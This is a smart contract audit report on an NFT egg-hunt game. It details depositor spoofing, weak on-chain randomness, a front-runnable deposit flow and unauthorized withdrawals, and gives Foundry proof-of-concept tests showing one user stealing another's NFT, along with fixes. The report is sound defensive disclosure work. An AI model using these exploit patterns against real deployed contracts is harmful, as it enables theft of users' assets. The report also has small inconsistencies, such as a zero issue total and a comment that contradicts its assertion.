<!DOCTYPE html>

```
<img src="./501stAudits.png" alt="Logo">
<div>
<h1> Eggstravaganza Audit Report</h1>
<h3>Version 1</h2>
<h3>0xRiz0</h3>
<h4>Date: April 8th, 2025</h4>
</div>
```

Eggstravaganza Audit Report

Prepared by: - Shawn Rizo

Lead Auditor(s): - Shawn Rizo

Assisting Auditors: - None

Table of Contents

About Shawn Rizo

I am a seasoned Smart Contract Engineer, adept at utilizing agile methodologies to deliver comprehensive insights and high-level overviews of blockchain projects. Specialized in developing and deploying decentralized applications (DApps) on Ethereum and EVM compatible chains. Expertise in Solidity, and security auditing, leading to a significant reduction in vulnerabilities through the strategic use of Foundry and Security Tools like Slither and Aderyn.

Disclaimer

The Riiz0 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
f83ed7dff700c4319bdfd0dff796f74db5be4538
```

Scope

```
src/
#-- EggHuntGame.sol       // Main game contract managing the egg hunt lifecycle and minting process.
#-- EggVault.sol          // Vault contract for securely storing deposited Egg NFTs.
#-- EggstravaganzaNFT.sol // ERC721-style NFT contract for minting unique Egg NFTs.
```

Protocol Summary

EggHuntGame is a gamified NFT experience where participants search for hidden eggs to mint unique Eggstravaganza Egg NFTs. Players engage in an interactive hunt during a designated game period, and successful egg finds can be deposited into a secure Egg Vault.

Roles

Actors: - Game Owner: The deployer/administrator who starts and ends the game, adjusts game parameters, and manages ownership. - Player: Participants who call the egg search function, mint Egg NFTs upon successful searches, and may deposit them into the vault. - Vault Owner: The owner of the EggVault contract responsible for managing deposited eggs.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	2
Low	0
Info	0

Severity	Number of issues found
Gas	0
Total	0

Findings

High

[H-1] Spoofed Depositor via depositEgg()

Summary: The `EggVault` contract allows arbitrary users to register themselves as depositors of NFTs by calling the public `depositEgg(uint256 tokenId, address depositor)` function. Since this function does not enforce that the depositor is the actual sender of the NFT, it is vulnerable to spoofing and front-running.

Vulnerability Details: The vault assumes that whoever calls `depositEgg()` is the legitimate depositor. In practice, anyone can call this function and register any address as the depositor, even after someone else has already transferred the NFT to the vault. This breaks the trust model of deposit and ownership.

Impact: - Anyone can register themselves as depositor and steal NFTs deposited by others. - Legitimate owners lose the ability to withdraw their assets. - Causes permanent asset loss and trust violations in the vault contract.

Proof of Concept:

```
        function testSpoofedDepositorExploit() public {
         // Mint an egg by simulating a call from the game contract.
         vm.prank(address(game));
         bool success = nft.mintEgg(alice, 1);
         assertTrue(success);
         // Check that token 1 is owned by alice.
         assertEq(nft.ownerOf(1), alice);
         // Verify that the totalSupply counter increments.
         assertEq(nft.totalSupply(), 1);

         //Transger egg to vault
         vm.prank(alice);
         nft.approve(address(vault), 1);
         vm.prank(alice);
         nft.transferFrom(address(alice), address(vault), 1);

```

```
        // Deposit the egg into the vault.
        vm.prank(bob);
        vault.depositEgg(1, bob);
        // The egg should now be marked as deposited.
        assertTrue(vault.isEggDeposited(1));
        // The depositor recorded should be alice, but the vault allows
            for anyone to input depositor
        assertEq(vault.eggDepositors(1), bob);

        // Depositing the same egg again should revert.
        vm.prank(alice);
        vm.expectRevert("Egg already deposited");
        vault.depositEgg(1, alice);
    }
```

```
Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testSpoofedDepositorExploit() (gas: 176345)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.60ms
    (896.43us CPU time)
```

Recommended Mitigation: - Remove the depositEgg() function. - Implement the IERC721Receiver interface in the vault. - Register depositor inside onERC721Received using the from parameter.

```
-   function depositEgg(uint256 tokenId, address depositor) public {
-       require(eggNFT.ownerOf(tokenId) == address(this), "NFT not
    transferred to vault");
-       require(!storedEggs[tokenId], "Egg already deposited");
-       storedEggs[tokenId] = true;
-       eggDepositors[tokenId] = depositor;
-      emit EggDeposited(depositor, tokenId);
-   }

+   function onERC721Received(
+     address operator,
+     address from,
+     uint256 tokenId,
+     bytes calldata data
+   ) external override returns (bytes4) {
+     require(msg.sender == address(eggNFT), "Not from expected NFT");
+     require(!storedEggs[tokenId], "Egg already deposited");
+
+     storedEggs[tokenId] = true;
+     eggDepositors[tokenId] = from;
+
+     emit EggDeposited(from, tokenId);
+
+     return this.onERC721Received.selector;
+   }
```

Then, users can deposit their NFTs securely via the EggHuntGame Function `depositEggToVault`:

```
eggNFT.safeTransferFrom(msg.sender, address(vault), tokenId);
```

```
function onERC721Received(
    address operator,
    address from,
    uint256 tokenId,
    bytes calldata
) external override returns (bytes4) {
    require(msg.sender == address(eggNFT), "Not from expected NFT");
    require(!storedEggs[tokenId], "Egg already deposited");

    storedEggs[tokenId] = true;
    eggDepositors[tokenId] = from;

    emit EggDeposited(from, tokenId);

    return this.onERC721Received.selector;
}
```

Then, users can deposit their NFTs securely via:

```
eggNFT.safeTransferFrom(msg.sender, address(vault), tokenId);
```

[H-2] Predictable Randomness in EggHuntGame

Summary: The `EggHuntGame` contract utilizes on-chain data to generate random numbers for the `searchForEgg` function. This approach is susceptible to manipulation by miners or validators, leading to unfair outcomes.

Vulnerability Details: In the `searchForEgg` function, randomness is derived using the following line:

```
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp,
    block.prevrandao, msg.sender, eggCounter))) % 100;
```

This method combines `block.timestamp`, `block.prevrandao`, `msg.sender`, and `eggCounter` to produce a pseudo-random number. However, both `block.timestamp` and `block.prevrandao` are controlled by miners or validators, making them exploitable. Malicious actors could manipulate these values to influence the randomness in their favor.

Impact: - **Manipulated Game Outcomes**: Miners or validators can adjust block variables to increase their chances of finding an egg, leading to unfair advantages. - **Erosion of Trust**: Players may lose confidence in the game's fairness, affecting user engagement and the contract's reputation.

Recommended Mitigation: - **Implement Chainlink VRF**: Utilize Chainlink's Verifiable Random Func-

tion (VRF) to generate secure and unpredictable random numbers. Chainlink VRF provides cryptographic proofs that ensure the randomness is tamper-proof and verifiable on-chain.

- **Modify `searchForEgg` Function**: Integrate Chainlink VRF into the `searchForEgg` function to request and retrieve random numbers securely. This ensures that the egg-finding mechanism is fair and resistant to manipulation.

By adopting Chainlink VRF, the `EggHuntGame` can enhance its security and provide a trustworthy gaming experience for all participants.

Medium

[M-1] Non-Atomic Deposit Flow in EggHuntGame

Summary: The `EggHuntGame.depositEggToVault()` performs an NFT transfer using `transferFrom()` followed by a call to `vault.depositEgg()`. This 2-step process introduces a non-atomic flow that can be front-run or interrupted, and results in the same vulnerability described in the spoofed depositor issue.

Vulnerability Details: Using `transferFrom()` followed by a separate `depositEgg()` call exposes the contract to a frontrunning attack. An attacker can monitor the mempool, observe the `transferFrom()` transaction, and quickly call `depositEgg()` before the original owner, registering themselves as the depositor.

This combination of `transferFrom()` + `depositEgg()` replicates the spoofing issue and results in loss of ownership rights.

Impact: - Race condition between NFT transfer and deposit registration. - Users could lose access to their own NFTs. - High likelihood of spoofing in public mempool environments.

Recommended Mitigation:

```
1  /// @notice Allows a player to deposit their egg NFT into the Egg Vault
       .
2  function depositEggToVault(uint256 tokenId) external {
3      require(eggNFT.ownerOf(tokenId) == msg.sender, "Not owner of this
           egg");
4      // The player must first approve the transfer on the NFT contract.
5  -   eggNFT.transferFrom(msg.sender, address(eggVault), tokenId);
6  -   eggVault.depositEgg(tokenId, msg.sender);
7  +   eggNFT.safeTransferFrom(msg.sender, address(eggVault), tokenId);
8  }
```

- Remove both the `transferFrom()` and external `vault.depositEgg()` calls.

- Replace with a single `safeTransferFrom()` call.
- Let the vault handle depositor registration via `onERC721Received()`.
- This guarantees atomic transfer + tracking, preventing spoofing and frontrunning.

[M-2] Unauthorized Withdrawals via Poisoned Depositor Mapping

Summary: The `EggVault` relies on a mapping `eggDepositors`[tokenId] to authorize NFT withdrawals. This mapping is set via the vulnerable `depositEgg()` function, and can be manipulated by attackers to enable unauthorized withdrawals.

Vulnerability Details: By spoofing the depositor registration via `depositEgg()`, an attacker can later call `withdrawEgg()` and pass the `eggDepositors[tokenId] == msg.sender` check. This bypasses actual ownership and results in unauthorized withdrawals.

Impact: - Attackers can withdraw NFTs they never owned. - True owners are locked out. - Funds can be permanently stolen.

Proof of Concept:

```
function testUnauthorizedWithdrawalsExploit() public {
        // Mint an egg by simulating a call from the game contract.
        vm.prank(address(game));
        bool success = nft.mintEgg(alice, 1);
        assertTrue(success);
        // Check that token 1 is owned by alice.
        assertEq(nft.ownerOf(1), alice);
        // Verify that the totalSupply counter increments.
        assertEq(nft.totalSupply(), 1);

        //Transger egg to vault
        vm.prank(alice);
        nft.approve(address(vault), 1);
        vm.prank(alice);
        nft.transferFrom(address(alice), address(vault), 1);

        // Deposit the egg into the vault.
        vm.prank(bob);
        vault.depositEgg(1, bob);
        // The egg should now be marked as deposited.
        assertTrue(vault.isEggDeposited(1));
        // The depositor recorded should be alice, but the vault allows
            for anyone to input depositor
        assertEq(vault.eggDepositors(1), bob);

        // Depositing the same egg again should revert.
        vm.prank(alice);
        vm.expectRevert("Egg already deposited");
        vault.depositEgg(1, alice);
```

```
29
30          // Withdrawal by someone other than the original depositor
                should revert.
31          vm.prank(alice);
32          vm.expectRevert("Not the original depositor");
33          vault.withdrawEgg(1);
34
35          // Correct withdrawal by the depositor.
36          vm.prank(bob);
37          vault.withdrawEgg(1);
38          // After withdrawal, alice should be the owner again.
39          assertEq(nft.ownerOf(1), bob);
40          // The stored egg flag should be cleared.
41          assertFalse(vault.isEggDeposited(1));
42          // And the depositor mapping should be reset to the zero
                address.
43          assertEq(vault.eggDepositors(1), address(0));
44      }
```

```
1  Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
2  [PASS] testUnauthorizedWithdrawalsExploit() (gas: 203180)
3  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.38ms
       (1.64ms CPU time)
```

Recommended Mitigation: - Make `eggDepositors[tokenId] = from` only within `onERC721Received()`. - Prevent external manipulation of depositor state. - Remove all public deposit functions.

```
1  -    function depositEgg(uint256 tokenId, address depositor) public {
2  -        require(eggNFT.ownerOf(tokenId) == address(this), "NFT not
       transferred to vault");
3  -        require(!storedEggs[tokenId], "Egg already deposited");
4  -        storedEggs[tokenId] = true;
5  -        eggDepositors[tokenId] = depositor;
6  -       emit EggDeposited(depositor, tokenId);
7  -    }
8
9  +    function onERC721Received(
10 +      address operator,
11 +      address from,
12 +      uint256 tokenId,
13 +      bytes calldata data
14 +    ) external override returns (bytes4) {
15 +      require(msg.sender == address(eggNFT), "Not from expected NFT");
16 +      require(!storedEggs[tokenId], "Egg already deposited");
17 +
18 +      storedEggs[tokenId] = true;
19 +      eggDepositors[tokenId] = from;
20 +
21 +      emit EggDeposited(from, tokenId);
```

```
22 +
23 +     return this.onERC721Received.selector;
24 +   }
```